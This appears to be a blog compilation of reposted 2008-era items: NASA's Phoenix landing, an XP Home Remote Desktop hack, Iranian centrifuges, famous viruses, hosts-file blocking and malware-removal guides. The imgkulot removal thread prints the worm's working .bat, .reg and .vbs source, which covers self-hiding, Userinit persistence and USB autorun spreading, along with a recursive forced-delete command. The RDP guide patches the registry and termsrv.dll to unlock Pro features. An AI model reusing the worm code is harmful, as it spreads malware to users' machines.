NASA’s Phoenix Spacecraft Lands at Martian Arctic Site

PASADENA, Calif. — NASA’s Phoenix spacecraft landed in the northern polar region of Mars today to begin three months of examining a site chosen for its likelihood of having frozen water within reach of the lander’s robotic arm.

Radio signals received at 4:53:44 p.m. Pacific Time (7:53:44 p.m. Eastern Time) confirmed the Phoenix Mars Lander had survived its difficult final descent and touchdown 15 minutes earlier. The signals took that long to travel from Mars to Earth at the speed of light.

Mission team members at NASA’s Jet Propulsion Laboratory, Pasadena, Calif.; Lockheed Martin Space Systems, Denver; and the University of Arizona, Tucson, cheered confirmation of the landing and eagerly awaited further information from Phoenix later tonight.

Among those in the JPL control room was NASA Administrator Michael Griffin, who noted this was the first successful Mars landing without airbags since Viking 2 in 1976.

“For the first time in 32 years, and only the third time in history, a JPL team has carried out a soft landing on Mars,” Griffin said. “I couldn’t be happier to be here to witness this incredible achievement.”

 

Team members celebrate Phoenix landing on Mars.
Larger view During its 422-million-mile flight from Earth to Mars after launching on Aug. 4, 2007, Phoenix relied on electricity from solar panels during the spacecraft’s cruise stage. The cruise stage was jettisoned seven minutes before the lander, encased in a protective shell, entered the Martian atmosphere. Batteries provide electricity until the lander’s own pair of solar arrays spread open.

“We’ve passed the hardest part and we’re breathing again, but we still need to see that Phoenix has opened its solar arrays and begun generating power,” said JPL’s Barry Goldstein, the Phoenix project manager. If all goes well, engineers will learn the status of the solar arrays between 7 and 7:30 p.m. Pacific Time (10 and 10:30 p.m. Eastern Time) from a Phoenix transmission relayed via NASA’s Mars Odyssey orbiter.

The team will also be watching for the Sunday night transmission to confirm that masts for the stereo camera and the weather station have swung to their vertical positions.

“What a thrilling landing! But the team is waiting impatiently for the next set of signals that will verify a healthy spacecraft,” said Peter Smith of the University of Arizona, principal investigator for the Phoenix mission. “I can hardly contain my enthusiasm. The first landed images of the Martian polar terrain will set the stage for our mission.”

Another critical deployment will be the first use of the 7.7-foot-long robotic arm on Phoenix, which will not be attempted for at least two days. Researchers will use the arm during future weeks to get samples of soil and ice into laboratory instruments on the lander deck.

The signal confirming that Phoenix had survived touchdown was relayed via Mars Odyssey and received on Earth at the Goldstone, Calif., antenna station of NASA’s Deep Space Network.

Phoenix uses hardware from a spacecraft built for a 2001 launch that was canceled in response to the loss of a similar Mars spacecraft during a 1999 landing attempt. Researchers who proposed the Phoenix mission in 2002 saw the unused spacecraft as a resource for pursuing a new science opportunity. Earlier in 2002, Mars Odyssey discovered that plentiful water ice lies just beneath the surface throughout much of high-latitude Mars. NASA chose the Phoenix proposal over 24 other proposals to become the first endeavor in the Mars Scout program of competitively selected missions.

The Phoenix mission is led by Smith at the University of Arizona with project management at JPL and development partnership at Lockheed Martin, Denver. International contributions come from the Canadian Space Agency; the University of Neuchatel, Switzerland; the universities of Copenhagen and Aarhus, Denmark; Max Planck Institute, Germany; and the Finnish Meteorological Institute. For more about Phoenix, visit http://www.nasa.gov/phoenix .

 

 

Media contacts: Guy Webster 818-354-6278
Jet Propulsion Laboratory, Pasadena, Calif.
guy.webster@jpl.nasa.gov

Dwayne Brown 202-358-1726
NASA Headquarters, Washington
dwayne.c.brown@nasa.gov

Sara Hammond 520-626-1974
University of Arizona, Tucson
shammond@lpl.arizona.edu

2008-81

Ref:
http://www.nasa.gov/mission_pages/phoenix/news/phoenix-20080525b.html
http://edition.cnn.com/2008/TECH/space/05/25/mars.lander/index.html

Enabling Remote Desktop in XP Home

(This is a rather technical post so feel free to skip this if the title means nothing to you)

I had a dilemma last night. I was linked to this great article by someone in ArsTechnica’s #linux on setting up SeamlessRDP to my VMWare Windows XP installation to achieve an effect similar to VMware Fusion’s Unity on Mac OS X. The problem is that I soon found out that Remote Desktop is disabled in XP Home Edition, only to be enabled in XP Professional.

It took a lot of digging around but I was eventually able to figure out how to get this enabled. So here is my guide on how to enable Remote Desktop in Windows XP Home Edition. Just a heads up that this was important to me because of RDP’s ability to launch specific applications for seamless integration into my Linux desktop, if you don’t need this and just want a full desktop window, one of the free VNC solutions might be better for you (TightVNC seems popular).

The first thing is to trick the installation into thinking that it’s actually XP Pro. I found this information here. Before doing this it might be best to make sure your install is already set up with Service Pack 2, etc.

1. Navigate the Windows registry to HKEY_LOCAL_MACHINE/SYSTEM/ControlSet00X/Control/ProductOptions (where ControlSet00X is the one with the highest number) and delete the “ProductSuite” key.
2. Create a new DWORD key in this same folder called “Brand” and set it’s value to 0.
3. Reboot Windows. At startup mash F8 to bring up the boot options and choose “Last Known Good Configuration”.

After some hard disk churning you will be back to your welcome screen or desktop. You can then go to the System control panel and see that you now have a Professional Edition setup. This is great so far but unfortunately doesn’t actually install all those professional features.

Now I needed to get Remote Desktop to accept incoming connections.

I found this batch file on a forum post. It’s easy to follow; it basically creates a .reg file with the required keys, merges it, and does a reinstall of terminal services. After a reboot you should now see Terminal Services alive and well in the Services Administrative Tool. A “netstat -a” in the Command Prompt should show port 3389 as listening. At this point I was able to connect to my server but was getting disconnected immediately. After some more digging I found a replacement termsrv.dll that was actually from a Service Pack 2 beta but did the trick for me. Follow the instructions there or here (it must be replaced in safe mode). You might be interested in the registry edits mentioned in those posts as well for concurrent users.

I don’t know how much of this was necessary but after all this tinkering last night I am now able to Remote Desktop with success to my XP Home installation. Yay! One more thing… make sure you have a password associated with your Windows user!

ref:
http://www.geekport.com/2007/08/15/enabling-remote-desktop-in-xp-home/

Iran Tests Advanced Centrifuge

By ALI AKBAR DAREINI Associated Press Writer
Apr 8th, 2008 | TEHRAN, Iran — President Mahmoud Ahmadinejad announced major progress in Iran’s push for nuclear power, saying Tuesday that his nation was installing thousands of new uranium-enriching centrifuges and testing a much faster version of the device.

Ahmadinejad said scientists were putting 6,000 new centrifuges into place, about twice the current number, and testing a new type that works five times faster.
Diplomats close to the U.N. nuclear watchdog agency say Iran has exaggerated its progress and seen problems operating the 3,000 centrifuges already in place. One diplomat said Ahmadinejad’s claims of a more advanced centrifuge appeared to allude to a type known as the IR-2, which the agency and Iran said months ago that Iran had begun testing.

While expressing concern that Iran continued to defy a U.N. Security Council ban on enrichment, a diplomat said that Ahmadinejad’s announcement “seems to be little more than a publicity stunt.” He spoke on condition of anonymity because he was not authorized to comment publicly.

ref
http://www.salon.com/wires/ap/world/2008/04/08/D8VTSL081_iran_nuclear/index.html?source=yahoo

The worst computer viruses of all time

If you haven’t experienced a computer virus yet, just wait — you probably will.Fortunately, you missed the real heyday of computer viruses when anti-virus software wasn’t very widely used, and virus attacks caused millions of dollars in damages overnight. Today’s viruses can still be nightmarish, but for the average user, cleanup is considerably easier than it was just a few years ago, when the only solution in many cases was reformatting your hard drive and starting from scratch (and even that didn’t do the trick sometimes).

So join me on a trip down memory lane as we revisit some of the worst viruses of all time and count our blessings that our computers are still up and running despite it all. (Though, please note, “worst” is a matter of considerable debate in the security industry, as the number of infected machines and amount of financial loss is always estimated. If you think another virus was worse than these, please post it in the comments to remind us!)

The worst viruses of all time

Brain, 1986
It all started here: Brain was the first “real” virus ever discovered, back in 1986. Brain didn’t really hurt your PC, but it launched the malware industry with a bang and gave bad ideas to over 100,000 virus creators for the next 2 decades.

Michelangelo, 1991
The worst MS-DOS virus ever, Michelangelo attacked the boot sector of your hard drive and any floppy drive inserted into the computer, which caused the virus to spread rapidly. After spreading quietly for months, the virus “activated” on March 6, and promptly started destroying data on tens of thousands of computers.

Melissa, 1999
Technically a worm, Melissa (named after a stripper) collapsed entire email systems by causing computers to send mountains of messages to each other. The author of the virus was eventually caught and sentenced to 20 months in prison.

ILOVEYOU, 2000
This was notable for being one of the first viruses to trick users into opening a file, which in this case claimed to be a love letter sent to the recipient. In reality, the file was a VBS script that sent mountains of junk mail and deleted thousands of files. The results were terribly devastating- one estimate holds that 10 percent of all computers were affected, to a cost of $5.5 billion. It remains perhaps the worst worm of all time.

Code Red, 2001
An early “blended threat” attack, Code Red targeted Web servers instead of user machines, defacing websites and later launching denial-of-service attacks on a host of IP addresses, including those of the White House.

Nimda, 2001
Built on Code Red’s attack system of finding multiple avenues into machines (email, websites, network connections, and others), Nimda infected both Web servers and user machines. It found paths into computers so effectively that, 22 minutes after it was released, it became the Internet’s most widespread virus at the time.

Klez, 2001
An email virus, Klez pioneered spoofing the “From” field in email messages it sent, making it impossible to tell if Bill Gates did or did not really send you that information about getting free money.

Slammer, 2003
Another fast spreader, this worm infected about 75,000 systems in just 10 minutes, slowing the Internet to a crawl (much like Code Red) and shutting down thousands of websites.

MyDoom, 2004
Notable as the fastest-spreading email virus of all time, MyDoom infected computers so they would, in turn, send even more junk mail. In a strange twist, MyDoom was also used to attack the website of SCO Group, a very unpopular company that was suing other companies over its code being used in Linux distributions. 

Storm, 2007
The worst recent virus, Storm spread via email spam with a fake attachment and ultimately infected up to 10 million computers, causing them to join its zombie botnet.

Thanks to Symantec for helping to compile this list.

http://tech.yahoo.com/blogs/null/87095
Thu Mar 20, 2008 12:11PM EDT

How to Block Websites

HOW TO…
Block websites

How do I block certain websites from being viewed on my computer? I am using Internet Explorer.

Software like ‘Net Nanny’ allows you to control which websites can be accessed from your computer.

If you don’t have a monitoring program though, you can achieve similar results with a little bit of technical know-how.

Open Windows Explorer.

Browse to C:\WINDOWS\system32\drivers\etc.

Find the file named “HOSTS”.

Open the file in notepad.

Under “127.0.0.1 localhost” add 127.0.0.2 www.name_of_the_site_to block.com. So, if you’d like to block www.hotporn.com, the code will look like this:
127.0.0.1 localhost
127.0.0.2 www.hotporn.com

The site is now blocked.

If you want to block another site, just repeat the process with the next number in the 127.0.0 sequence. For example:
127.0.0.3 www.blocked_site.com
127.0.0.4 www.blocked_site.com  

source:
http://cooltech.iafrica.com/swissarmy/howto/478289.htm

imgkulot virus removal tool websites solutions

http://www.bleepingcomputer.com/forums/lofiversion/index.php/t106818.html
Success / Resolved

black.star
Sep 3 2007, 11:08 AM

i was already able to fix that imgkulot thing.. it was an autorun.vbs problem and a friend told me to go to cmd..
then i typed del c:\autorun.* /f/s/q/a
it solved the problems! thanks for your help though! i’ll continue to support this site and the people making the site valuable!!

disabling the Autorun feature on USB drives
http://www.microsoft.com/windowsxp/downloads/powertoys/xppowertoys.mspx

http://royalflare.wordpress.com/2007/10/02/how-to-remove-imgkulot-virus/
failed

imgkulot virus

here are the file Contents

IMGKULOT.BAT

Code:

@echo off if exist .\imgkulot.reg regedit /s .\imgkulot.reg if not “%1″==”" goto open if exist imgkulot.vbs start WScript.exe imgkulot.vbs&exit if exist %SYSTEMROOT%\system32\imgkulot.vbs start WScript.exe %SYSTEMROOT%\system32\imgkulot.vbs&exit exit pen if not “%1″==”Open” goto next start explorer .\ exit :next if “%1″==”+” attrib +s +a +h +r %2\imgkulot.* if “%1″==”+” attrib +s +a +h +r %2\autorun.inf :end

IMGKULOT.reg

Code:

Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] “Userinit”=”userinit.exe,imgkulot.bat” [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced] “ShowSuperHidden”=dword:00000000

IMGKULOT.vbs

Code:

‘imgkulot v1.0 ‘Iloilo City Phils ‘email me if you found this @ imagina_boy@linuxmail.org ‘May 2007 on error resume next Set WshShell =CreateObject(“WScript.Shell”) For i=1 to 1 set Of = CreateObject(“Scripting.FileSystemObject”) set dir = Of.GetSpecialFolder(1) Set dc = Of.Drives if WScript.ScriptFullName=dir&”\imgkulot.vbs” then    isdir=true else    a=WshShell.Run(“imgkulot.bat Open” ,0,False)    isdir=false end if For Each d In dc    If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>”A:” and d<> “B:”) Then    a=WshShell.Run(“imgkulot.bat – “&d ,0,True)       if isdir then          Of.CopyFile dir&”\imgkulot.*”,d&”\”,True          Of.CopyFile dir&”\autorun.inf”,d&”\”,True       else          Of.CopyFile “imgkulot.*”,d&”\”,True          Of.CopyFile “autorun.inf”,d&”\”,True       end if          a=WshShell.Run(“imgkulot.bat + “&d ,0,True)    End If next if isdir then    wscript.sleep 60000    i=0 else    a=WshShell.Run(“imgkulot.bat – “&dir ,0,True)    Of.CopyFile “imgkulot.*”,dir&”\”,True    Of.CopyFile “autorun.inf”,dir&”\”,True    a=WshShell.Run(“imgkulot.bat + “&dir ,0,True) end if next

posted by: virtualstefan13
http://www.castlecops.com/t197861-how_to_remove_imgkulot_virus.html

Best Free Anti-Virus

Avast
http://www.avast.com/eng/download-avast-home.html

AVG
http://free.grisoft.com/

Yahoo Messenger Virus Solutions

Yahoo Messenger Virus Software Solutions:
download software at www.download.com

Ad-Aware
adaware

Anti-Virus Free Edition
avg

Spybot – Search & Destroy
spybot

Remove PC Infections

How to remove these infections

We have finally arrived at the section you came here for. You are most likely reading this tutorial because you are infected with some sort of malware and want to remove it. With this knowledge that you are infected, it is also assumed that you examined the programs running on your computer and found one that does not look right. You did further research by checking that program against our Startup Database or by searching in Google and have learned that it is an infection and you now want to remove it.

If you have identified the particular program that is part of the malware, and you want to remove it, please follow these steps.

1. Download and extract the Autoruns program by Sysinternals to C:\Autoruns

2. Reboot into Safe Mode so that the malware is not started when you are doing these steps. Many malware monitor the keys that allow them to start and if they notice they have been removed, will automatically replace that startup key. For this reason booting into safe mode allows us to get past that defense in most cases.
3. Navigate to the C:\Autoruns folder you created in Step 1 and double-click on autoruns.exe.
4. When the program starts, click on the Options menu and enable the following options by clicking on them. This will place a checkmark next to each of these options.
   1. Include empty locations
   2. Verify Code Signatures
   3. Hide Signed Microsoft Entries
      
5. Then press the F5 key on your keyboard to refresh the startups list using these new settings.
6. The program shows information about your startup entries in 8 different tabs. For the most part, the filename you are looking for will be found under the Logon or the Services tabs, but you should check all the other tabs to make sure they are not loading elsewhere as well. Click on each tab and look through the list for the filename that you want to remove. The filename will be found under the Image Path column. There may be more than one entry associated with the same file as it is common for malware to create multiple startup entries. It is important to note that many malware programs disguise themselves by using the same filenames as valid Microsoft files. it is therefore important to know exactly which file, and the folder they are in, that you want to remove. You can check our Startup Database for that information or ask for help in our computer help forums.
7. Once you find the entry that is associated with the malware, you want to delete that entry so it will not start again on the next reboot. To do that right click on the entry and select delete. This startup entry will now be removed from the Registry.
8. Now that we made it so it will not start on boot up, you should delete the file using My Computer or Windows Explorer. If you can not see the file, it may be hidden. To allow you to see hidden files you can follow the steps for your operating system found in this tutorial:How to see hidden files in Windows
9. When you are finished removing the malware entries from the Registry and deleting the files, reboot into normal mode as you will now be clean from the infection.http://www.bleepingcomputer.com/tutorials/tutorial101.html#start